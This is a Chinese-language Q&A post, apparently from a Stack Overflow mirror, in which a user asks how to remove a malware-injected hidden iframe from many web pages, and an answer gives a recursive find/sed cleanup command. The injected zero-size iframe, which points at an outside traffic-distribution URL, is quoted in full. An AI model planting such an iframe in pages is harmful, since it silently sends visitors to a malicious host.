Wae*_*ada 3 linux grep replace
恶意软件攻击了我的服务器并添加了以下行
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
Run Code Online (Sandbox Code Playgroud)
我的许多页面
我如何用 grep 删除它,或者是否有任何其他方法可以将它从受影响的所有文件中删除
编辑:我看到有关使用 sed 的评论,但我需要一个递归解决方案(如果有的话)
谢谢
您可以使用find和sed递归查找所有感兴趣的文件并从中删除有问题的行。
例如,以下命令将从.html当前目录及其所有子目录的所有文件中删除有问题的行。
find . -name "*.html" -exec sed -i 's/<iframe src="http:\/\/pokosa.com\/tds\/go.php?sid=1" width="0" height="0" frameborder="0"><\/iframe>//' {} \;
Run Code Online (Sandbox Code Playgroud)